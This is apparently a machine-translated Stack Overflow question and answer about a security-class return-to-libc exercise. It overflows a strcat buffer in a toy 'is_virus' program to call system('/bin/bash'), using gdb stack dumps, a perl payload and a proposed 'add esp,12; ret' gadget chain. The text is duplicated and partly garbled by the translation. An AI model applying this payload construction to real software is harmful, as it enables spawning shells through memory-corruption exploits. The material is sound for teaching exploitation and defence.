编写 Return-to-libc 攻击,但无法使其正常工作?
Writing a Return-to-libc attack, but cannot get it to work correctly?
为了安全 class,我需要对 is_virus()
的 libc 攻击执行 return。 objective是溢出traffic[]
,覆盖is_virus()
的return地址,从而return到libc函数system()
开一个shell。现在我已经花了几个小时在这上面,但无法让它工作。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries",
"sys_binaries"};
int is_virus(int argc, char ** argv)
{
char traffic[44];
int i, j, k, len;
traffic[0] = 0;
for (i = 1; i < argc; ++i)
strcat(traffic, argv[i]);
for (j = 0; j < 4; ++j) {
len = strlen(signatures[j]);
for (i = 0; i < (int)strlen(traffic); ++i)
if (strncmp(signatures[j], traffic+i, len) == 0)
return 1;
}
return 0;
}
int main(int argc, char ** argv)
{
if (argc < 2) {
system("echo 'usage: target3 network_traffic_packets'");
exit(1);
}
if (is_virus(argc, argv))
printf("Alarm! virus founded\n");
else
printf("safe.\n");
return 0;
}
现在我开始查找 system()
、exit()
和字符串 /bin/bash
.
的地址
我发现这些是...
系统() = 0x40071584
退出()= 0x400533a4
"/bin/bash" = 0xbffffefb 这是在环境变量里面找到的
现在根据我的理解,is_virus()
的return地址需要替换为system()
的地址,然后是exit()
的地址,然后是地址字符串 /bin/bash
。接下来,我通过在gdb中反汇编main
找到了is_virus()
的return地址。
...
0x804868b <main+43>: pushl 0xc(%ebp)
0x804868e <main+46>: pushl 0x8(%ebp)
0x8048691 <main+49>: call 0x8048570 <is_virus>
0x8048696 <main+54>: add [=12=]x10,%esp
0x8048699 <main+57>: mov %eax,%eax
...
所以is_virus()
应该return到地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久查看内存...
Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15 traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298
0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8
0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb
0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e
0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696
0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551
0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507
0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2
我们可以看到 return 地址位于 0xbffffab2。现在尝试传递“A”,我发现 60 个字节正好位于该地址之前。
因此,根据所有信息,我构建了输入
./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')
在 strcpy()
之后查看数据看起来是正确的。
(gdb) x/32xw $esp
0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584
0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551
0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507
0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2
但问题是 exit()
地址覆盖了 argc
值的存储位置,导致第一个循环执行多次并崩溃。我尝试将此值更改为 0xFFFFFFFF 并忘记干净退出,但是当函数 is_virus()
尝试 return 时,我收到错误
Cannot access memory at address 0xffffffff
如有任何帮助,我们将不胜感激!
正如我在评论中指出的那样,第一个堆栈视图显示 return 地址在 0xbffffaac
,而不是 0xbffffab2
。但这并不重要,因为您通过实验发现了正确的填充。顺便说一句,如果通过 运行ning ./target3 ABC
和在 is_virus(...)
的第二个 for
设置断点可能会更有助于有意识地瞄准你的攻击,所以你会确切地知道 [= =21=] 进入 traffic
缓冲区。
而且在 libc 中也没有 system()
这样的东西。是int system(const char *cmd);
(according to the link), and exit()
is void exit(int exit_code);
,至少把“...”放在那个括号里,所以读者不必考虑它是否真的是无效参数调用,或者只是缩短形式。
免责声明:此答案中的任何 asm 都是 Intel 语法,因为我懒得理会 AT&T,但由于答案不包含任何严肃的代码,所以应该没什么关系,事情希望像 add esp,12
vs addl ,%esp
这样容易理解。
所以要"return to libc to system(...)"以某种方式效仿:
{
system("/bin/bash");
exit(<anything>);
}
你想把你试图放在那里的东西放在堆栈上:
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
到目前为止,还不错。
你的问题是,正如你发现的那样,0x400533a4
exit()
地址作为新的 argc
值,破坏了第一个循环的 运行。
那么像这样构建堆栈怎么样:
<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
而 <magic>
是 libc 代码的地址,这将有效地做:
add esp,4 ; or "pop anything"
ret
在我的机器上,静态链接 libc 到您的示例 C 文件中,我可以在 system()
入口点附近看到此机器代码(没有费心搜索完全匹配):
<system()+0x27>:
add esp,12
movzx eax,al
ret
在我看来 "good-enough" 被虐待了。通过放置更多填充物并从我的新 return 地址开始,例如:
<system+0x27> ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1> ; to make 12 bytes junk in stack
<junk2> ; to make 12 bytes junk in stack
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
我想我会实现你想要的调用顺序(或者说 "ret sequence" :))。
没有验证,因为我无法以这种简单的方式编译原始 C 来使堆栈溢出工作 + 具有静态 libc 地址,在我的主系统上它增加了很多麻烦 + 堆栈检查(我设法关闭了它,但我仍然有完全不同的 libc 函数和堆栈地址,与您的值不相似)。
但我认为这种方法符合 "return to" 类型的攻击负载构建的本质,因此它应该让您了解如何进一步进行。 GL,高频。 :)
为了安全 class,我需要对 is_virus()
的 libc 攻击执行 return。 objective是溢出traffic[]
,覆盖is_virus()
的return地址,从而return到libc函数system()
开一个shell。现在我已经花了几个小时在这上面,但无法让它工作。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries",
"sys_binaries"};
int is_virus(int argc, char ** argv)
{
char traffic[44];
int i, j, k, len;
traffic[0] = 0;
for (i = 1; i < argc; ++i)
strcat(traffic, argv[i]);
for (j = 0; j < 4; ++j) {
len = strlen(signatures[j]);
for (i = 0; i < (int)strlen(traffic); ++i)
if (strncmp(signatures[j], traffic+i, len) == 0)
return 1;
}
return 0;
}
int main(int argc, char ** argv)
{
if (argc < 2) {
system("echo 'usage: target3 network_traffic_packets'");
exit(1);
}
if (is_virus(argc, argv))
printf("Alarm! virus founded\n");
else
printf("safe.\n");
return 0;
}
现在我开始查找 system()
、exit()
和字符串 /bin/bash
.
我发现这些是...
系统() = 0x40071584
退出()= 0x400533a4
"/bin/bash" = 0xbffffefb 这是在环境变量里面找到的
现在根据我的理解,is_virus()
的return地址需要替换为system()
的地址,然后是exit()
的地址,然后是地址字符串 /bin/bash
。接下来,我通过在gdb中反汇编main
找到了is_virus()
的return地址。
...
0x804868b <main+43>: pushl 0xc(%ebp)
0x804868e <main+46>: pushl 0x8(%ebp)
0x8048691 <main+49>: call 0x8048570 <is_virus>
0x8048696 <main+54>: add [=12=]x10,%esp
0x8048699 <main+57>: mov %eax,%eax
...
所以is_virus()
应该return到地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久查看内存...
Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15 traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298
0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8
0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb
0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e
0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696
0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551
0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507
0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2
我们可以看到 return 地址位于 0xbffffab2。现在尝试传递“A”,我发现 60 个字节正好位于该地址之前。
因此,根据所有信息,我构建了输入
./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')
在 strcpy()
之后查看数据看起来是正确的。
(gdb) x/32xw $esp
0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584
0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551
0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507
0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2
但问题是 exit()
地址覆盖了 argc
值的存储位置,导致第一个循环执行多次并崩溃。我尝试将此值更改为 0xFFFFFFFF 并忘记干净退出,但是当函数 is_virus()
尝试 return 时,我收到错误
Cannot access memory at address 0xffffffff
如有任何帮助,我们将不胜感激!
正如我在评论中指出的那样,第一个堆栈视图显示 return 地址在 0xbffffaac
,而不是 0xbffffab2
。但这并不重要,因为您通过实验发现了正确的填充。顺便说一句,如果通过 运行ning ./target3 ABC
和在 is_virus(...)
的第二个 for
设置断点可能会更有助于有意识地瞄准你的攻击,所以你会确切地知道 [= =21=] 进入 traffic
缓冲区。
而且在 libc 中也没有 system()
这样的东西。是int system(const char *cmd);
(according to the link), and exit()
is void exit(int exit_code);
,至少把“...”放在那个括号里,所以读者不必考虑它是否真的是无效参数调用,或者只是缩短形式。
免责声明:此答案中的任何 asm 都是 Intel 语法,因为我懒得理会 AT&T,但由于答案不包含任何严肃的代码,所以应该没什么关系,事情希望像 add esp,12
vs addl ,%esp
这样容易理解。
所以要"return to libc to system(...)"以某种方式效仿:
{
system("/bin/bash");
exit(<anything>);
}
你想把你试图放在那里的东西放在堆栈上:
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
到目前为止,还不错。
你的问题是,正如你发现的那样,0x400533a4
exit()
地址作为新的 argc
值,破坏了第一个循环的 运行。
那么像这样构建堆栈怎么样:
<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
而 <magic>
是 libc 代码的地址,这将有效地做:
add esp,4 ; or "pop anything"
ret
在我的机器上,静态链接 libc 到您的示例 C 文件中,我可以在 system()
入口点附近看到此机器代码(没有费心搜索完全匹配):
<system()+0x27>:
add esp,12
movzx eax,al
ret
在我看来 "good-enough" 被虐待了。通过放置更多填充物并从我的新 return 地址开始,例如:
<system+0x27> ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1> ; to make 12 bytes junk in stack
<junk2> ; to make 12 bytes junk in stack
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
我想我会实现你想要的调用顺序(或者说 "ret sequence" :))。
没有验证,因为我无法以这种简单的方式编译原始 C 来使堆栈溢出工作 + 具有静态 libc 地址,在我的主系统上它增加了很多麻烦 + 堆栈检查(我设法关闭了它,但我仍然有完全不同的 libc 函数和堆栈地址,与您的值不相似)。
但我认为这种方法符合 "return to" 类型的攻击负载构建的本质,因此它应该让您了解如何进一步进行。 GL,高频。 :)